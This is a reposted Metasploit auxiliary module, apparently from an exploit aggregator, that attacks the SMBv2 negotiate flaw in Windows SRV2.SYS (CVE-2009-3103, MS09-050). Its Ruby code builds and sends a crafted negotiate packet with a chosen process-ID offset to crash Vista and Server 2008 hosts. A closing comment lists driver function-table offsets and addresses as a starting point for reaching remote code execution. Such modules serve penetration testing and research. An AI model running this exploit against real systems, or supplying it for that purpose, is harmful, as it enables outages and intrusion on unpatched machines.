Share
## https://sploitus.com/exploit?id=PACKETSTORM:180562
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
'Description' => %q{
This module exploits an out of bounds function table dereference in the SMB
request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
without SP1 does not seem affected by this flaw.
},
'Author' => [ 'Laurent Gaffie <laurent.gaffie[at]gmail.com>', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2009-3103'],
['BID', '36299'],
['OSVDB', '57799'],
['MSB', 'MS09-050'],
['URL', 'https://seclists.org/fulldisclosure/2009/Sep/39']
]
))
register_options([
Opt::RPORT(445),
OptInt.new('OFFSET', [true, 'The function table offset to call', 0xffff])
])
end
def run
connect()
# The SMB 2 dialect must be there
dialects = ['PC NETWORK PROGRAM 1.0', 'LANMAN1.0', 'Windows for Workgroups 3.1a', 'LM1.2X002', 'LANMAN2.1', 'NT LM 0.12', 'SMB 2.002']
data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0xc853
pkt['Payload'].v['Payload'] = data
pkt['Payload']['SMB'].v['ProcessIDHigh'] = datastore['OFFSET'].to_i
pkt['Payload']['SMB'].v['ProcessID'] = 0
pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)
print_status("Sending request and waiting for a reply...")
sock.put(pkt.to_s)
r = sock.get_once
if(not r)
print_status("The target system has likely crashed")
else
print_status("Response received: #{r.inspect}")
end
disconnect()
end
end
=begin
Gaining code execution means pointing the offset to something that
eventually causes us to run arbitrary code. The offsets below are
a starting point for turning this into remote code execution.
Offsets on Vista SP1 x64:
0x1B = "SMB 2.002"
0x1D = L"SMB2Validate"
0x1E = L"SMB2Execute"
0x31 = move eax, 0x00000002 + ret # causes a hang when reaced
0x58 = WmiQueryTraceInformation
0x59 = WmiTraceMessage
0x66 = ExAllocatePoolWithTag
0x67 = ExFreePool
0x76 = ExAllocatePoolWithTag
0x77 = ExFreePool
0x86 = ExAllocatePoolWithTag
0x87 = ExFreePoo
0x96 = ExAllocatePoolWithTag
0x97 = ExFreePoo
0xa6 = ExAllocatePoolWithTag
0xa7 = ExFreePoo
0xb9 = BugCheckEx
0xc7 = SrvBalanceCredits
0xdf = SrvNetStatistics data
0xe0 = SrvNetStatisticsLock
0x010e = SrvSnapShotScaevengerThread
0x011c = SrvSnapShotScavengerTimer
0x012a = SrvScavengerThread
0x0138 = SrvScavengerTimer
0x0146 = SrvScavengeDurableHandles
0x0157 = SrvScavengeDurableHandlesTimer
0x0166 = SrvProcessOplockBreaks
0x0179 = SrvProcessOplockBreakTimer
0x0185 = L"XactSrv"
0x01f8 = WppTraceCallback
Offsets on Vista SP1 (no updates) x86:
0x64 = mov esp, ebp; pop ebp, ret
0xde = pool with tag
0 -> 99b51d6e - 8bff558bec5153568b75088b46308b98
1 -> 99b55967 - 8bff558bec51518b45088b48308b8958
2 -> 99b53e19 - 8bff558bec568b75088b4e7083791444
3 -> 99b55811 - 8bff558bec5151538b5d088b43708378
4 -> 99b53d54 - 8bff558bec56578b7d088b4770837814
5 -> 99b54d41 - 8bff558bec83ec145356578b7d088b47
6 -> 99b54c81 - 8bff558bec518b4d088b816c01000053
7 -> 99b66c44 - 8bff558bec518b4d088b816c01000053
8 -> 99b655bf - 8bff558bec518b55088b427083781471
9 -> 99b63ce4 - 8bff558bec518b4d088b816c01000053
10 -> 99b5a221 - 8bff558bec518b4d088b816c01000053
11 -> 99b62996 - 8bff558bec518b4d088b816c01000053
12 -> 99b5fab5 - 8bff558bec518b4d088b816c01000053
25 -> 819aca26 - 6a2468d0988981e8960beeff33d28955
26 -> 8186c78b - 8bff558bec83e4f86a008d451c50ff75
62 -> 80d40f20 - 0000000000eb45000000000000000000
116 -> 819273b7 - 8bff558bec83e4f883ec3c538b5d088b
117 -> 8192739f - 8bff558bec6a00ff7508e8df0a00005d
166 -> 819273b7 - 8bff558bec83e4f883ec3c538b5d088b
167 -> 8192739f - 8bff558bec6a00ff7508e8df0a00005d
194 -> 99b6b74c - 8bff558bec83ec0c0fb64d088b451c53
195 -> 99b683f0 - 943018c0c6fd3f49a3e8697224f83f6f
206 -> 99b5eeb5 - 8bff558bec83ec1ca11094b69953568b
217 -> 99b5eea0 - 6a0168809ab699ff151880b699c21000
226 -> 99b5211d - 8bff558bec83ec145356578d45f450c6
231 -> 8192fcd0 - 0000000014fd9281ffffffff04000000
237 -> 99b52108 - 6a0168009bb699ff151880b699c21000
382 -> 8b137500 - 000000009075138b0000000000000000
491 -> 8599b680 - 894518e82ee2ffff3b45087341ff7520
646 -> c000009a - 0000ffffffff80040000ffffffff8004
734 -> 802015ff - ffde03f078f8ff7f7c02f8ff3ffe01fe
760 -> 99b4ff28 - 8bff558bec6a00ff7514ff7510ff750c
804 -> 830ffc7d - 0000001722268b3e012004020010c01c
=end